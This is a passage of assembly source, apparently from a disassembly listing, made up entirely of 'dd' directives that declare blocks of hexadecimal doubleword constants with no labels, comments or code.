		dd 6153D129h, 0F325F126h, 0C3A53F30h, 0B5015144h, 59EB2801h
		dd 0EE8B5266h, 5E67F03h, 0EF809E02h, 41F988AEh,	0F2A707Dh
		dd 0CC5DB6F0h, 212E28AFh, 0F71C9E90h, 0B1664BDBh, 2C786001h
		dd 0FCA4294Ch, 0D7E70258h, 0F1C0B94Eh, 0ED4D7C93h, 76741EC6h
		dd 0D14637C0h, 0F0F681EEh, 20963B01h, 0DE301478h, 13109B19h
		dd 463A50BDh, 0E6A3125Bh, 0AA502D00h, 93AE907h,	0BCE8180h
		dd 846176Ch, 242EA209h,	0C25A5484h, 0A85EB176h,	0E7EEF173h
		dd 786DA22Bh, 4EA0A44Dh, 25723F0h, 527A68BFh, 31C34F61h
		dd 438D793h, 47AB2DE9h,	1F2E3F42h, 3768844Dh, 0F9319906h
		dd 2957501h, 2BD756B0h,	0E8F7E33h, 224F1120h, 0CA9A24A5h
		dd 194872B7h, 82DF848Ch, 235BE51Eh, 14868809h, 0C2C8F698h
		dd 30B2682Fh, 2B9D5590h, 107F1295h, 0C5B52383h,	0BE49A831h
		dd 4E8AD331h, 0D8B11857h, 0D93A5950h, 0C5953079h, 0F20C282h
		dd 804AE2FBh, 1EF28349h, 8058FA47h, 8C5CD3DAh, 1049007h
		dd 30DD462Ch, 2A1B86E9h, 74DE8E41h, 763455AEh, 3A8A9C2Ch
		dd 28D35FB1h, 0ECB02BF1h, 0CC514A59h, 0C920E908h, 1CBD900Dh
		dd 640B78FEh, 8F104E8h,	6FCBB01Ah, 586E187Ah, 534FE29Ch
		dd 2683E0EDh, 6246B13Bh, 6B733129h, 64F1B25h, 3972B0EAh
		dd 6801DE73h, 0E94DB147h, 892AAC7Ah, 2B78E1D4h,	9C0B6C94h
		dd 4C180355h, 29EBE40Dh, 102B6021h, 6E91FC6h, 22E79017h
		dd 0D82D2868h, 6F20661Fh, 9AA429E2h, 1E8BA378h,	0AD73D9Bh
		dd 697300Ah, 7F71ED01h,	0C27B100Eh, 889C5FEh, 3AC106CAh
		dd 7E5C0297h, 6C598840h, 831A3B2Ch, 4114711Ch, 8801DF68h
		dd 209B9D27h, 618F08ECh, 5917D8C6h, 0FC4BB792h,	0CD632483h
		dd 18C90207h, 4AF5B900h, 81683D70h, 0FD610A81h,	31F92931h
		dd 9802C88Fh, 0CA075CB0h, 61B22787h, 3734F260h,	9C2960FDh
		dd 7A1804F6h, 4AD2F71Fh, 891BEAC0h, 4C010BA3h, 0AA1619D1h
		dd 86B96749h, 0F782E193h, 0F1C5D4FCh, 0EF54E64Ah, 7C940742h
		dd 109068C4h, 0F8B40EEAh, 7C58EF88h, 0FFC77B8h,	3B10B759h
		dd 0DBD192F0h, 59CB6C41h, 857BC968h, 0FDC05271h, 2DACE4ABh
		dd 50037209h, 9CF6F00h,	2E766F7Dh, 27FF732h, 5F95843Fh
		dd 88BF61AFh, 195B30C3h, 409892BDh, 4494DDh, 0D0F76522h
		dd 0EB0AEC35h, 258C0958h, 0DBEE228Dh, 95650F9Ah, 2F83E280h
		dd 0B47854h, 67111A1h, 5507E7C1h, 38B2BD04h, 44AF27EDh
		dd 0AA459E33h, 0D9E5E6CDh, 50DA032Eh, 0F793FC88h, 99E2E6A3h
		dd 0B32794F6h, 8458E2F6h, 55A33C3Dh, 0E943EA88h, 74BAE5D0h
		dd 90C8BF7Bh, 2E4DD032h, 0E2B25E17h, 96AD8AF4h,	1320D2A7h
		dd 23A30F5Ch, 454A10CFh, 4509B4B1h, 122F93F9h, 2CA5F6E1h
		dd 0D1AD0B75h, 93F96293h, 0FFC82802h, 0AC689838h, 0B7D7265Ah
		dd 1071E573h, 16845E53h, 681EF29h, 3C4445Ah, 2FD4101h
		dd 337B5F08h, 0D16308h,	87D35BAh, 29D2944h, 1A7E528h, 0EE5FFD89h
		dd 84A17FE1h, 755468EDh, 0B1A64AECh, 706DE925h,	0E16FB522h
		dd 525EBB22h, 0BAB5A361h, 1E72BB00h, 0F744AF03h, 926843D3h
		dd 0F7706679h, 0A15B0696h, 143640CAh, 49647B70h, 0E412AA44h
		dd 3CF6C25Bh, 4C5A2036h, 7056F32h, 0D3FCBE0h, 2A986FE8h
		dd 0FA0A3B76h, 83D331FFh, 7432D009h, 681256BEh,	0CE633161h
		dd 2BC1D9A9h, 5C240EEh,	0C0041638h, 404DFC6Ch, 66BD5907h
		dd 879F8860h, 68E288D2h, 92EB514Dh, 688063F2h, 25C63005h
		dd 0A790585Bh, 29B3507h, 0E901B473h, 7F7126DCh,	44FD0513h
		dd 0A2FE245Ah, 7968B1F7h, 358D913Ah, 0BC376A94h, 0CC2DFAE2h
		dd 4050204Bh, 88C2010Fh, 8747250Ah, 5BDDCA41h, 4E8EE09h
		dd 36E895AFh, 330B54B8h, 84291053h, 1AD44D1Ah, 79B2CB00h
		dd 5AF762A9h, 16EA2DAh,	0D4C85BDBh, 0D861D529h,	9842A724h
		dd 0F0390F6h, 0B81384A1h, 92E2B3B7h, 0E1202DA8h, 81400596h
		dd 30732CC6h, 950C158Fh, 604FFD54h, 81A8CD4h, 7C140B0Ch
		dd 757C5AA0h, 9B665C50h, 85D4081Dh, 2AE68100h, 246D586Ch
		dd 466EED1h, 0AB942CC4h, 0F2D0D80h, 0E656090h, 8B18A8F5h
		dd 0CFE97A0Bh, 78BC2346h, 5EA7B1D7h, 9743B8ECh,	164B48F1h
		dd 64D19536h, 737F72B1h, 9D011CE4h, 0B0A00925h,	0E8EC58BAh
		dd 404C9F4Dh, 7D44945Fh, 0F3024EC5h, 74FFC4FDh,	0D0D52CFEh
		dd 80AC70BCh, 1F51A0EFh, 24680655h, 6FA970C7h, 0F0370801h
		dd 2F2C44h, 50356903h, 2BB5346h, 32FD2CB3h, 785C55E9h
		dd 48D88039h, 8EF8CE2Dh, 6FC3BFA4h, 701DEA0Bh, 1E207CAEh
		dd 42224257h, 6E6AC5E9h, 59589060h, 0D8285A17h,	0EB48FECAh
		dd 0FCFB2E25h, 0E089804Ah, 30EDF9F6h, 53516DB0h, 845A1D7Eh
		dd 784B0409h, 5DFD449Ah, 5E160CB8h, 73CB5552h, 0E9754A04h
		dd 18C58272h, 63849359h, 58800855h, 2419B4F2h, 3911602h
		dd 79057FE4h, 69830C01h, 0D8E90D12h, 8B4F2A3Ch,	637D2653h
		dd 649D6FA8h, 0A64B313Ch, 7CE2C133h, 0DCC24E1Ah, 0D50FEAF2h
		dd 3A20FB1Ch, 59663BE8h, 0F8083B97h, 282A57Ch, 0B69A50A0h
		dd 1EB9505Ah, 6D080A13h, 0A95642C2h, 0AFEB009Eh, 2C445E06h
		dd 22A6FB01h, 0DC135108h, 0C219F22Ah, 71325FE9h, 0F606BA84h
		dd 8CFFEDFh, 0D7E9500Bh, 63732092h, 0B0712B4Ah,	14FE4E05h
		dd 0EE0FF3B0h, 7E8C0BFCh, 0A14C0730h, 3F590D8h,	1FF62D40h
		dd 3D2A3146h, 28EBE90Fh, 56511D1Fh, 0BF670FDBh,	0F210E4D2h
		dd 93CF0B92h, 39D0B299h, 856EC195h, 604C2DA5h, 3C575335h
		dd 0FB1447AEh, 0FED1835Fh, 3B2104Ah, 0E9A5F380h, 0A49C22BFh
		dd 26084983h, 70A81F4Dh, 0C6F987Dh, 0BE029F8Ah,	0E9F101DFh
		dd 7D296A0Ah, 9CBA6A9Ch, 0EEBCA925h, 4956B45Ch,	0FE07AAFAh
		dd 0D8C580CDh, 0FBBE5CFCh, 0C1AFA22Ah, 22D75827h, 0AB71F7E1h
		dd 97B60CCh, 9E92E66h, 4EB51DD0h, 9E62203Ch, 90B95D64h
		dd 0B2DF8E0h, 73CB0614h, 70008E2h, 3CCAB951h, 8167BB00h
		dd 0B56018C9h, 0BE5FB01Eh, 0D202BB2Ah, 31D8A69Ah, 52C1AAF9h
		dd 522B5A5Bh, 760AE62h,	3C993ABBh, 0DE936547h, 0E09AC55Bh
		dd 6B246853h, 26884A0Eh, 24F2412h, 78F54C11h, 20A2E45Fh
		dd 972F34FFh, 0A504599Eh, 4C97B066h, 9C2390D8h,	0B4175881h
		dd 13EF8080h, 2DF90859h, 7DF1F870h, 6E9C01Dh, 0AA5BBAB9h
		dd 519DDF12h, 0E953E024h, 5CD2D59Fh, 3E9347F1h,	5C2D3218h
		dd 0F4428B74h, 0CE3500A3h, 0C47ED620h, 1733C758h, 6EA2CDE1h
		dd 3159979Eh, 0C765F35h, 0A31097BDh, 83D6AD40h,	27F5C4E0h
		dd 0AF5E3027h, 0F442BE16h, 0C103EFC1h, 69502D40h, 0B254575Fh
		dd 4AF9022Ch, 0E9462871h, 20F36872h, 0F7418BF4h, 956E4961h
		dd 452E945Ah, 0ABDD07DCh, 76C87300h, 20E977DCh,	869F7F66h
		dd 0A0A3F7D0h, 0E47201E3h, 0A3534E27h, 87EB1728h, 0BF579001h
		dd 10FB5481h, 793C99AEh, 408DCD06h, 9AC050Ch, 4A6F2C66h
		dd 7EAC7182h, 0C1C0CE3h, 0C016D591h, 0EA299FC0h, 0C8484FE9h
		dd 0E9E1C238h, 6089FD56h, 0F640DB41h, 30FD0468h, 0FE58627Ch
		dd 33EEC661h, 0C3305900h, 0D57B0BFh, 0E3E5CEE0h, 4B178E4h
		dd 0A6ECE130h
		dd 7BB60696h, 0CE06FF79h, 203B4CCAh, 7D8709AEh,	0CAF4F030h
		dd 31CFA439h, 1742555Ah, 588BB565h, 0E9F5015Dh,	0E62CB8A6h
		dd 2F6F44CDh, 365CB0A2h, 2E85B901h, 6D495AF1h, 450D77FCh
		dd 1256A40Fh, 60F93E61h, 0D804BE66h, 0FF59CB47h, 0F4A80B13h
		dd 8E4454A2h, 35A40ED2h, 330F4963h, 0FB104D58h,	8D682478h
		dd 0D47E8809h, 2A8351E6h, 5B96DAB0h, 9F2CD9A7h,	604C525Eh
		dd 915E187Ah, 0FA94328Ah, 0F969EED2h, 6058557h,	46D8E689h
		dd 0C1051E56h, 144ED8E6h, 72300A50h, 75CB0C1Eh,	0DF77406Eh
		dd 9EF26D12h, 21B01F24h, 40037A85h, 370BEF55h, 7A652038h
		dd 0E50882FEh, 0FA822D34h, 0DB6C6AE9h, 2C8BF7A1h, 3D7C4AD3h
		dd 83D514F7h, 9F388CEDh, 5054D5C1h, 3F8CBDA7h, 0B0E0374Eh
		dd 147214D8h, 8D188A0Dh, 0AC6618Bh, 0D78EB513h,	0E3A566A8h
		dd 187648F2h, 0CE37A522h, 5857133Fh, 0F73CF020h, 82A0D655h
		dd 0EFC04252h, 97F0569Dh, 5F18E83Eh, 0C2B494B2h, 0D40BC731h
		dd 0EFB020A2h, 80F203A8h, 940207E7h, 0A03404AEh, 0FA08279h
		dd 0C2BC93F5h, 3171483Ch, 0D6CFE4F9h, 9271EC09h, 40082D00h
		dd 72E93096h, 0B24EB5BDh, 3598E6E6h, 0CF252039h, 0EC1B26F0h
		dd 0E9730913h, 0A91AB1AEh, 6491359h, 5A0F82FBh,	1588B25Ch
		dd 701CEF16h, 7B08FC99h, 9AE22F77h, 184C2A57h, 0C2609B02h
		dd 0A8BAF77Ch, 0A424ED75h, 564C0179h, 60DE012Ah, 6B2CE419h
		dd 6012E09Fh, 0DD297D47h, 78DD4F77h, 4801902Ch,	3A354905h
		dd 0C6689360h, 29C23C5Fh, 0CAB7E9C8h, 0E4637E76h, 41565714h
		dd 4B7864B8h, 0F6070BE8h, 7657452h, 0C8057E9h, 507F6C41h
		dd 96B9961Bh, 0F6014B0Ah, 20F973D0h, 50B2C78Fh,	277650CCh
		dd 685309E5h, 68D05867h, 4C96CC20h, 7786305Bh, 594812B6h
		dd 0BCE72AA8h, 0F5F68EEh, 0B71D56D8h, 0B17C2889h, 20A4C6D2h
		dd 61BD8946h, 0A3743658h, 28740E2Ch, 8E9D04D0h,	77AE5ABCh
		dd 0B551FBE1h, 0EAB860DFh, 0E0CE2841h, 0FF2C35F0h, 9DA9CC70h
		dd 3D935DE7h, 0AA9BA2F8h, 2A9108C9h, 0F325E3E3h, 554E3670h
		dd 74B4DAB2h, 5E74E813h, 6CA02D13h, 1E28BE96h, 0AD39C4BFh
		dd 97C8018h, 1A489541h,	5BE607D8h, 70A9AAB4h, 0B2C3161Dh
		dd 0CDEC16h, 881E50F3h,	0B64BE992h, 2555245Eh, 0DF72C8DCh
		dd 5E8E7020h, 87676F0Bh, 0FE093F82h, 0E177C54Fh, 0C0713298h
		dd 4515A4BDh, 67F7485Bh, 4BFBFA10h, 82500B8h, 25073774h
		dd 6CAF3D0Eh, 0B95A1654h, 6DF86FEDh, 0E182D675h, 8A38D15Ah
		dd 80BF451Ch, 415DE921h, 890EE181h, 0CE1B8035h,	0D20F0EC1h
		dd 59CE4B02h, 0E1215521h, 681C7C68h, 0F05CC95Fh, 74DBDF6h
		dd 83EFB399h, 937E9EA5h, 27B5C2C3h, 7E61D99Fh, 0D8E22114h
		dd 4218E7C9h, 0C1A04855h, 2099040Ch, 0C1CF01B1h, 0A3293Ch
		dd 14C8BF0Fh, 4D477368h, 753B84h, 6E7705ADh, 94B75FDh
		dd 45459C9h, 70188D5h, 8FF2E904h, 634CA788h, 87FA9F1Bh
		dd 0AA53172Dh, 9C1D0A41h, 88B08212h, 0F14E397Dh, 0CCB007C0h
		dd 3E0D3A00h, 55A4B43h,	5A417DD2h, 2DD5003Dh, 698D3086h
		dd 0BFE64B8h, 9A4A3AFEh, 0FD4A79ECh, 6A3709D0h,	32158E57h
		dd 8FBF16C4h, 225C27FCh, 0D7DBDAE6h, 2FD0C921h,	0C14BC883h
		dd 8108EB00h, 411558E3h, 1F75B77h, 0A024293h, 4FC48763h
		dd 0DC6B0B03h, 0E1A0093Fh, 6C275AF1h, 9F6098C2h, 24FDA59Ah
		dd 5AE01B08h, 5BBA77B6h, 4450F1B0h, 5F0FB7F3h, 2116E561h
		dd 0A7C1E180h, 41493062h, 0BD5ABCF8h, 0C1FBC7B4h, 7912C6B0h
		dd 7E30F966h, 215D5F03h, 1302C1D9h, 588C447Ah, 8B510FC0h
		dd 2D694038h, 0EC3518DCh, 5A73CCC6h, 157140Ch, 13C35ED3h
		dd 0A9389BE9h, 7B171BE6h, 0AF7A585Fh, 0BC73EB8Fh, 0C149DEF7h
		dd 0E3B148E4h, 3A0E14AEh, 2554D815h, 67689D58h,	9BB582D4h
		dd 5718CA9Eh, 5EF1112Bh, 0EA216665h, 243E73D9h,	30A1E51Ah
		dd 113B3EE2h, 0E54090h,	5618A914h, 7B5E8FBEh, 5B7DCD5Dh
		dd 3EAE712h, 0BB04E5Bh,	2A140C04h, 8DAE1104h, 9E204276h
		dd 587CBF00h, 294F2586h, 0D00AC67Ch, 5A130A05h,	8549358Ah
		dd 837AD22Fh, 4E737E27h, 0DFBCCB1Dh, 681606D8h,	58312279h
		dd 0D0FD5A51h, 0D890E22Fh, 0D274E915h, 5F0E1A11h, 70ADF471h
		dd 58C2B4EAh, 735F37E9h, 8920FDA6h, 0D7EA8103h,	44D9749h
		dd 1F5EE30Ch, 8C829101h, 0B82C8315h, 0E18E6E86h, 0BC60C329h
		dd 0B6A15AD3h, 6EF15A23h, 6D946A39h, 0C3407B49h, 0C75B5ED9h
		dd 0F027C280h, 54002C72h, 89432B41h, 0D7505AD1h, 0A32C135Eh
		dd 0FBE9C4AFh, 8D2E09B1h, 0C45FEC8Bh, 10BCDA91h, 8D4E312Eh
		dd 83BD207Bh, 27F20103h, 1C0515E9h, 96D53116h, 0A77104EAh
		dd 9CDD1F72h, 0A6B5F6Eh, 0C1032F40h, 4B519621h,	0D090E367h
		dd 0F38D10BBh, 5BF8280Fh, 84F2A1A9h, 0C6DF4C25h, 36C30E29h
		dd 0D417E54Ah, 0E80817E0h, 0E9C182CFh, 517EDC0Bh, 0F8B76053h
		dd 0B964313h, 0A8124EBh, 2F0CF2EFh, 77713AB8h, 8309C1A4h
		dd 8733B75Fh, 1EE44A4Dh, 800D68FDh, 0EC6235CEh,	0F99D3601h
		dd 73E7E272h, 380649ABh, 0C6072D2Fh, 0A5EB8C10h, 5AD2F5E7h
		dd 503856A3h, 94B71D8Ch, 8BEC2012h, 26D6E595h, 0EDFA2593h
		dd 525110BEh, 7580D440h, 0BA4038F3h, 290A7631h,	721420F2h
		dd 934A9041h, 9DCDB718h, 781371E5h, 161C36E8h, 64705F45h
		dd 5DAF600h, 48F7286Bh,	0ED029AD5h, 65CA3DCDh, 31885FDEh
		dd 53550001h, 7269D968h, 3D9A114Ah, 12AB355Fh, 686BC099h
		dd 79BC49E5h, 46A5761h,	9A43C36Fh, 0E97C91F0h, 90D3BB25h
		dd 57F1F73Dh, 4C18F556h, 0CDC3D7E8h, 0FE678E1Eh, 55759FC9h
		dd 2BD8AEB0h, 0E95A719Dh, 6CA57951h, 0D16812D2h, 0B4FEAC16h
		dd 572EC2FFh, 0C9700F71h, 0C1A7C0DFh, 19854C7Dh, 22B06817h
		dd 87CF88ECh, 0EA800E70h, 0C7C5618Bh, 0AFF5D528h, 28A0567Bh
		dd 539B53C3h, 897ED810h, 0F7B3022Ch, 2AC1271Bh,	44416BFBh
		dd 6E394EFAh, 1E7EA2EDh, 253582F6h, 17586F41h, 9A98872Dh
		dd 9F5C6452h, 0FA0176A4h, 77092F30h, 4A5DFE1Ch,	8C55F225h
		dd 4E5C3F5Eh, 0E9114205h, 0E655AA48h, 70A3324Dh, 0D7F92910h
		dd 2CB62D60h, 203965D5h, 68070205h, 91594AF9h, 12648280h
		dd 0B2D5A31h, 11D37AE1h, 2D077528h, 0B2DEDD9h, 125ED6DCh
		dd 0B9F8F03Dh, 0EE056A04h, 29C24976h, 0FCB600B8h, 7CBBF088h
		dd 6116162Ch, 58BDA880h, 9039F270h, 124808A8h, 6860491Eh
		dd 256ED70Dh, 0A24CE831h, 5504A69Bh, 26D436E9h,	5E16CBFBh
		dd 969CEEF4h, 726035AEh, 3A680C8Ch, 570A73BEh, 0C3310556h
		dd 4BB25844h, 314BAC1h,	0CD3A302Fh, 0E1362718h,	1343EDC6h
		dd 16CBD23h, 260E8417h,	0E89A304Ah, 5E7907EBh, 24FA3DA8h
		dd 40C8BC56h, 6095B6Fh,	0C640CDF6h, 255E7968h, 0B3002613h
		dd 29514F0Fh, 71DD892Ch, 7C74B216h, 0DC90EEC5h,	4A2567BFh
		dd 5A2F0B2h, 858DE0B7h,	2FCE25BCh, 0E953EC80h, 8696EBF6h
		dd 6E28181h, 1C2EA662h,	0FDA0CE30h, 3315B033h, 0D9208892h
		dd 2DDD9899h, 0DD482A21h, 0E69995E3h, 23D66841h, 64BE356Ah
		dd 810BC4FCh, 31CF0110h, 5908020Ah, 0E59F116Ch,	59A42789h
		dd 5A5C8177h, 41E2514Ch, 0EE880132h, 9F73F4C9h,	0E9E3859Fh
		dd 3F94F8E5h, 86188B05h, 20E7FCF8h, 0D4FA0FDh, 5C219D89h
		dd 3C3E1473h, 4DD20058h, 0D6353FA7h, 2D40014Eh,	82E9C731h
		dd 0B0756E28h, 7F5D21EBh
		dd 0F84EA06Eh, 0FD719F20h, 0CE53C02Eh, 1E3B49EFh, 8FE63F6Ah
		dd 801BED77h, 0A75CF7F6h, 2F67BE17h, 0CBE9B8C0h, 0B0FCB14Fh
		dd 6D865FD2h, 81F1A2E8h, 17E6D482h, 3B098CF5h, 951C89D2h
		dd 6320257Ch, 0A6989C3Bh, 0F0AB5AB5h, 0D2F5E83Dh, 0B0F982FDh
		dd 92EB4183h, 1962EA05h, 68B5E888h, 27BB9E09h, 51594FFCh
		dd 0A605FF4Dh, 0B03C52AFh, 0EA06814Ch, 521F6563h, 235020Ch
		dd 0CA0173BBh, 80D4642h, 1614050Ch, 2938A1E8h, 8F3D919h
		dd 0BE18BD69h, 15CEA36Dh, 5B799D01h, 0DBF7EBD1h, 90FFF2Dh
		dd 8924543Dh, 8B0182DEh, 58E68801h, 0B05AF0C0h,	2AB23FD8h
		dd 0D7075496h, 0AA1BC1D7h, 0A6942E05h, 6FE90805h, 8F1350A8h
		dd 72491247h, 0C7A79939h, 0B9FFA98Bh, 0DE7930BCh, 13AD8B84h
		dd 31422CEAh, 9564C25Eh, 629491FAh, 94CF3C8Dh, 7BF14E53h
		dd 209C9D3Ah, 2A5E0E9Fh, 0E33F018Dh, 93E6D0F3h,	9F0EECACh
		dd 0BEE0EF36h, 87A83F62h, 0B99FE09Fh, 11311C41h, 0E9F1C242h
		dd 0BA5E1A6Ch, 96B9F5E9h, 78F73B56h, 0AD936816h, 78CB8306h
		dd 0E0C094B9h, 5BE9EDD1h, 72A14A8h, 0BBC0663Bh,	72DDDA09h
		dd 0F0880413h, 0BC405A09h, 3FE35966h, 0BF5763B0h, 25E4A9AEh
		dd 3F1AA279h, 0F825FAB4h, 8A641907h, 3075B338h,	5D0A6C96h
		dd 7C1ED0B9h, 90C96518h, 9FF77298h, 0C9955B5Ah,	33807DCFh
		dd 1556F0B9h, 0CD613154h, 246F018Ch, 0B8B8B7Bh,	98201068h
		dd 0CBA5279h, 597B3005h, 7F826EDAh, 0ECE775E1h,	157D801Eh
		dd 8816114Bh, 0BF04C1BDh, 12572459h, 0B94E2DBDh, 0A70A105Dh
		dd 127A8C58h, 0FE334405h, 154ED306h, 0B1B2B287h, 907B8889h
		dd 0A9E38100h, 0F65ECE4Eh, 42F92C2h, 0CD264BBEh, 64F7AC44h
		dd 5500F090h, 0B603D4BDh, 0E8095A12h, 0FCE512EAh, 4906D3F8h
		dd 25BF9D43h, 0EC6C5FFAh, 675EF224h, 1BAEAA9h, 0E17BFDEFh
		dd 8820C601h, 4F5582CAh, 250AEF2h, 775D7A54h, 59F48E80h
		dd 294F38CDh, 1208B010h, 6AA23C8Bh, 9299A12Ch, 5145C25Dh
		dd 0E9893F67h, 0B52B5838h, 7B3EF253h, 0DD71AB51h, 5E857434h
		dd 68555301h, 227B21B6h, 8A25162Ah, 7FCDD7FBh, 40E80334h
		dd 0E69559E0h, 2F4A071h, 179891E4h, 587A454Dh, 9D3DAE5Fh
		dd 1C866238h, 0B9BF3A6Bh, 0F23F5C7Ch, 250A34AEh, 0A15FDCA2h
		dd 0E1E23ABFh, 110C3699h, 0E2046AEFh, 0AFCBDFA5h, 0C444FC86h
		dd 427D5DAh, 9A85A83h, 3F1E755Eh, 48BE18C1h, 1121296Eh
		dd 842EEE1h, 5695558h, 24E3CADh, 0DE0AA9BFh, 8898E319h
		dd 98743A28h, 39DF0CBCh, 0A50C45FDh, 5824ACECh,	2F03BD47h
		dd 5023E49h, 7C768B32h,	0D224EE33h, 0B7BDEB05h,	0E9077880h
		dd 0E2105BAAh, 362D7876h, 4A096403h, 16AAE256h,	3909D9F6h
		dd 3203D7C6h, 0E29904C2h, 0D3CAD853h, 0A12EF2F2h, 2006CF30h
		dd 6A2E59CFh, 8BC1EFEh,	68046D21h, 30EE6FBAh, 0C3803E88h
		dd 742F9790h, 57E13AE0h, 0DC0DAF89h, 1D5A5144h,	0DB8E2A6Ah
		dd 29041D48h, 800E0F42h, 253FCA74h, 0EBC16F09h,	2A4E0402h
		dd 4309AE16h, 27564452h, 7179B82Eh, 5E685707h, 5F4C02E0h
		dd 8E734C1h, 7CA5C206h,	67B288CAh, 0D7C9407Eh, 682F9994h
		dd 9C5B2217h, 247D0995h, 7BD074CDh, 0CAD8E780h,	1E9EF906h
		dd 0BFEF523Ch, 0C79DF41Fh, 46E95A42h, 7258D6A4h, 0A5D5C55Dh
		dd 0C5C01676h, 2F3C479Eh, 0DE500150h, 91E90880h, 0CAF32A4Bh
		dd 20DE703Fh, 0B84CF1FDh, 95CE6A28h, 9F53AE40h,	0F325F370h
		dd 8409803Fh, 0A2743254h, 0CA80DDB7h, 76F7356Ch, 0CF0B215Ah
		dd 8F3D253Fh, 9E56DFCh,	1A7DAADBh, 0C7925D3Ch, 20BEEE00h
		dd 98B83C49h, 84E2090h,	75B4CFB8h, 0FD84AB88h, 12D174FAh
		dd 2F692FCFh, 50A1C15Ch, 8206B33Bh, 561EA568h, 6ED46B8Ch
		dd 0FC7C3442h, 68504004h, 8E5C1C2Dh, 0F17B1607h, 0E1C895D3h
		dd 19ED4F61h, 59610B7Bh, 3409E77Bh, 0DD14DF1Ch,	58B5A6Bh
		dd 0AD32AE38h, 7295F45Ch, 27020884h, 0A56375C0h, 2878950Bh
		dd 93767132h, 0C0AB7FEDh, 67086CDBh, 0BA5625D9h, 2A8C4B4Fh
		dd 7F1E5AFEh, 23E04813h, 27E4935Dh, 0DC2EFF65h,	0B4685C60h
		dd 84B0B91Eh, 0F118E951h, 20EFC1BDh, 31F5BE81h,	0F2C92B20h
		dd 6DFA388Bh, 0B1024746h, 290CB472h, 6BBB59D1h,	0D95FB705h
		dd 2449C2E5h, 0FB333021h, 0BF1C5594h, 164D50CDh, 0B77496F5h
		dd 886740DFh, 9BF6F328h, 5980A3F8h, 430E9551h, 6991CDBEh
		dd 5A682817h, 8100EDF7h, 7E51A6E9h, 0F95C011Eh,	5F08400Fh
		dd 70CD4A0h, 91A0AD4Eh,	171C7FD0h, 17EA2161h, 92B358CCh
		dd 5181F865h, 971B877Ah, 0E67A4949h, 0DD38DE02h, 4A5429B9h
		dd 526CC119h, 0BF218792h, 1B982742h, 0FD04D5CFh, 169EE790h
		dd 0ACB2D921h, 2830E9C3h, 6AEBD104h, 0B083B705h, 7AE1E9F3h
		dd 7F509666h, 3CA9641h,	98C5E954h, 9F5693Eh, 5EDEE455h
		dd 834A499h, 4F24BE6Fh,	0EB8E7009h, 0D032EA0Dh,	6F2CBC33h
		dd 8B2B7566h, 381291F6h, 0F2A939B6h, 0CD010841h, 705998E6h
		dd 6164BE85h, 1619EE0Eh, 278182BEh, 3E5D41CEh, 0F00C8324h
		dd 0E54B7051h, 7EC2A8C7h, 0B08B70EFh, 0F59541C7h, 6B10DDF9h
		dd 8BF82516h, 3C96260h,	0B1FC18E4h, 0BB0FAA9Eh,	7ECF40C8h
		dd 7C4A11BFh, 7F6995ABh, 6B053559h, 5A2F43F2h, 77823C65h
		dd 0D2133h, 1A8F56CBh, 61E9470Bh, 0B2E5C4CAh, 4B7FF664h
		dd 0B47CCC66h, 0E788EA1Fh, 34C58353h, 0C27E8ABAh, 7ED5A7E9h
		dd 0EB55410Fh, 2B0BED30h, 0A3AC8813h, 0D20FAA4h, 0B801EA80h
		dd 0C4A75273h, 8504E9Bh, 0C80921C8h, 551ECCE9h,	0EB7D863Ah
		dd 0E8F8EC3Bh, 0F15AAB53h, 76882A89h, 42724950h, 49C00B92h
		dd 206D7430h, 25EFCCB5h, 0B5984F80h, 3081A67Fh,	10929621h
		dd 8E21D0E3h, 0E7989C3Dh, 7EBF6020h, 0B3FB5A68h, 572183C8h
		dd 5ACB051Ch, 0ED480368h, 38AE201Ah, 6E587AB5h,	7DF9201Eh
		dd 0B497D94Dh, 349CAE93h, 25EE8005h, 510103EEh,	0F1F1EFB5h
		dd 0FAF050CFh, 7B9F315Fh, 0A88049A6h, 21D10CC2h, 5BD8311Ah
		dd 0C765DDB3h, 0CE6B26A6h, 1630B3F2h, 561BD0EBh, 1816C6BEh
		dd 48EF0EF0h, 0B20D3CEh, 5C9E92Dh, 0F1C05009h, 0E4D6F602h
		dd 6804CDDEh, 4174555h,	9128691Fh, 201F8F3h, 3E40D75Dh
		dd 6E9711CFh, 6CE79F6Fh, 81E73A5h, 0BA0F25FCh, 7E9A8565h
		dd 0DCA29735h, 158310D6h, 0CE39E90Bh, 0D05001FCh, 4B499164h
		dd 47200558h, 0A000B590h, 0E09EAC7Fh, 75E75892h, 0BEB1048Fh
		dd 5F7B8E8Ah, 2B7B2D3Ch, 0C95C72D8h, 0ECD15BBAh, 0B0D4C649h
		dd 25D600CAh, 952D22C9h, 4A001A33h, 0F702E0C1h,	0FC0705D0h
		dd 366268BBh, 2D5E05AEh, 752CB001h, 28A3519Fh, 2EFE4151h
		dd 0E7D3F0A0h, 0B896057Ch, 0F712A26Fh, 1D684018h, 8B055058h
		dd 0D946C311h, 7FE55BEBh, 0A9C54E3Ah, 40D065B8h, 1F2506C1h
		dd 60C66F56h, 10170F16h, 12011095h, 0C2438322h,	0DD282CABh
		dd 0AE9B42F2h, 7C9AF3C3h, 0F4E9F582h, 8F06507Ch, 177B5901h
		dd 0E9522568h, 0F6E9A051h, 0A49E9DD4h, 4D48215Bh, 581C10EBh
		dd 9AB54EDAh, 268FFDEEh, 7A1ABC23h, 97CB42FAh, 0E640E882h
		dd 0DD5BF69Eh, 2BEDD181h, 0CE90A85h, 0DEF6EC96h, 44EF8452h
		dd 0AAD9B640h, 47E3B8Dh, 0EE5BF8DFh, 58664D03h,	0E919A080h
		dd 28899585h, 31620179h, 78E18B4Fh, 15082494h, 0AAE60E84h
		dd 38BBA5h, 4E368BBCh, 0B434E920h, 59C281B7h, 31040B65h
		dd 3109EE32h, 4FC5745Ch
		dd 0ECDB3F7Fh, 2B68C24Dh, 0B4345521h, 9E4D55B0h, 69CC4076h
		dd 59348A28h, 0FB62C6F4h, 9D6766Eh, 4879E378h, 767E4B2Dh
		dd 0FF442DFh, 0AA055A6Ch, 4A6BD228h, 1F629C6h, 1548CA81h
		dd 70557303h, 0C8AAD327h, 63DD3340h, 6409149Fh,	0B85FB23Ch
		dd 3B091CDDh, 0F8ED4D57h, 0EFBF5702h, 61E19042h, 66D03F93h
		dd 58CF33F5h, 0EF27F52Eh, 0F3C82FF6h, 0C2594E2Ch, 2B2D2D6Fh
		dd 78701A49h, 1CAC4815h, 163DA22Eh, 827290E7h, 775FA839h
		dd 400B2588h, 684866B5h, 19E35BA5h, 0CBC2BF70h,	0E3685B8Bh
		dd 5D81B9F2h, 0E336653Bh, 0D1619C4h, 7372C3ADh,	0E18F6614h
